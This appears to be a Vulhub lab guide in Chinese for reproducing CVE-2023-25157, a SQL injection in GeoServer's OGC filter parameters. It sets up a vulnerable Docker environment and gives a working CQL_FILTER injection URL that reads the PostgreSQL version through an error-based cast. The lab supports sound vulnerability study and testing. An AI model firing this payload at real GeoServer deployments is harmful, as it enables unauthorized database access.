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# GeoServer OGC Filter SQL注入漏洞CVE-2023-25157
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在版本2.22.1和2.21.4及以前多个OGC表达式中均存在SQL注入漏洞。
参考链接:
- <https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158>
- <https://github.com/advisories/GHSA-7g5f-wrx8-5ccf>
## 漏洞环境
执行如下命令启动一个GeoServer 2.22.1
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/geoserver`即可查看到GeoServer的首页。
## 漏洞复现
在利用漏洞前需要目标服务器中存在类型是PostGIS的数据空间datastore和工作空间workspace。在Vulhub中已经包含满足条件的工作空间其信息如下
- Workspace name: `vulhub`
- Data store name: `pg`
- Feature type (table) name: `example`
- One of attribute from feature type: `name`
利用这些已知参数发送如下URL即可触发SQL注入漏洞
```
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
```
![](1.png)
可见已经使用SQL注入获取到了目标服务器PostgreSQL的版本。